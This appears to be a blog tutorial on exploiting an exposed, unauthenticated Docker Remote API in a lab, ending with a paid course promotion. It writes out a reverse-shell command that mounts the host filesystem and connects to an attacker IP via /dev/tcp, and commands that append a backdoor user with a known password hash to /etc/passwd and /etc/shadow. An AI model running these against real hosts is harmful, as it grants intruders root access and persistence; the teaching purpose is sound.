Docker Security – Abusing Docker Remote API
Docker is one of the highly discussed topics lately. While Docker is greatly expanding its presence in many large organizations, many security professionals started discussing about Docker Security. There have been a ton of Security conferences where training sessions have been made available to discuss Docker (mis)configurations and ways to abuse them.
Warning: You will see a sales pitch at the end of this article as I am going to promote my Docker Security video course.
This article is to discuss one of those (mis)configurations— Docker Remote API. This is a feature that allows admins to interact with Docker Daemon remotely using REST APIs. Docker runs as root and if this feature is exposed to malicious actors, the opportunities for the attackers are endless.
Let us discuss how we can set up a lab and abuse this feature to be able to remotely gain root access on the host where Docker daemon is running.
First things first, you need to have a Virtual Machine, where Docker is installed. In this case, I am using Ubuntu 18.04.
The next step is to enable Docker Remote API. On your docker host, edit /lib/systemd/system/docker.service file and edit the line starting with ExecStart as shown below.
We are forcing docker to listen both on unix socket and a tcp socket on port 2375. Next, run the following commands for the changes to work.
systemctl daemon-reload
sudo service docker restart
Now, let us check if remote API is enabled. This is usually run on port 2375. Port 2376 is used for the same purpose over SSL.
As we can see, the docker API is running on port 2375. By default, this API does not require authentication and thus anyone who has access to this API can perform activities such as container creation and deletion.
Now, let us quickly check how we can communicate with this Docker API using CURL. Let us begin with checking Docker version.
We are piping the response of curl http request to jq. The utility jq is a lightweight and flexible command-line JSON processor. jq is like sed for JSON data — you can use it to slice and filter and map and transform structured data.
Next, let us see how we can check the list of images available on the host.
The output in this case is huge and it is truncated. But, we get the idea.
Let us query the API using curl to check the list of containers running on the host. Currently, there are no containers running on the host. So, let us first create a simplistic container using docker command line.
Now, let us check the list of containers running.
We can also verify this running container from the command line as shown below.
Now, as an attacker let us stop this container using the REST API.
Time out is set 5 seconds in the above command and web is the name of the container.
Now, the container is stopped and we can verify it using the command line.
We can use the start command to run the container again. This is shown below.
As we can clearly see, this is adds serious security concerns if these APIs are exposed to the end users or any malicious users. So, care must be taken when exposing these APIs to the end users.
Get CloudSecurityTraining’s stories in your inbox
Join Medium for free to get updates from this writer.
It is also possible to get a reverse shell on the host using the exposed docker API. let us see how:
The first step is to create a listener on the attacker’s machine. So, let us find out the IP address of the attacker’s machine and start a netcat listener.
Now, let us create and start a container that gives reverse shell on the container to the attacker.
docker -H tcp://localhost:2375 run — rm -v /:/mnt ubuntu chroot /mnt /bin/bash -c “bash -i >& /dev/tcp/192.168.1.130/4444 0>&1”
Since, we mounted the root directory of the file system of the host on to the container, we can add an entry to /etc/passwd and /etc/shadow on to the host machine from within the container and use it to login to the host machine over SSH.
Let us first create a home directory for the attacker on the remote machine.
Let us add an entry in the /etc/passwd file
hacker:x:1001:1001:hacker,,,:/home/hacker:/bin/bash
This can be done using the following command
echo ‘hacker:x:1001:1001:hacker,,,:/home/hacker:/bin/bash’ >> /etc/passwd
Now, we need to add an entry to /etc/shadow file with a known password.
I took the following known entry from /etc/shadow of another machine, to which I know the actual password. So, we will use this entry to create our own account on the victim machine.
hacker:$6$gB/z0wS0$BZ.Zoj6QsXn4uwKUi6/zZm0ga/IJf7YHVneEXut0I06.ZywgtKcB79Mj.EAymXubo8tuos9Fr.aFCWs8PNH6T1:17096:0:99999:7:::
So the command to run on the shell becomes as follows:
echo ‘hacker:$6$gB/z0wS0$BZ.Zoj6QsXn4uwKUi6/zZm0ga/IJf7YHVneEXut0I06.ZywgtKcB79Mj.EAymXubo8tuos9Fr.aFCWs8PNH6T1:17096:0:99999:7:::’ >> /etc/shadow
Note: You can use the same entry for your practice and the password is dev.
After adding an account to the machine, add this user to sudoers as shown below.
Now, an attacker remotely login to the machine using the newly setup user account over SSH and gain root access on the target host machine.
Congrats! Time to get a mirror and see the happiness of getting ROOT in your face.
If you enjoyed this article and interested in learning more Docker Security concepts, consider purchasing my course “Hacking and Securing Docker Containers” on Udemy using the coupon code C6D588E23056B9E855F9. Below is a direct link https://www.udemy.com/course/hacking-and-securing-docker-containers/?referralCode=C6D588E23056B9E855F9
If you want to watch some sample videos, here you go:
Docker Bench Security for auditing Docker environments:
Docker — Privileged flag
Signing off!
Containers image Source: https://claz.org/jupiter/commercial-vehicles/20ft-storage-containers-2vfeq2pw2dy.html
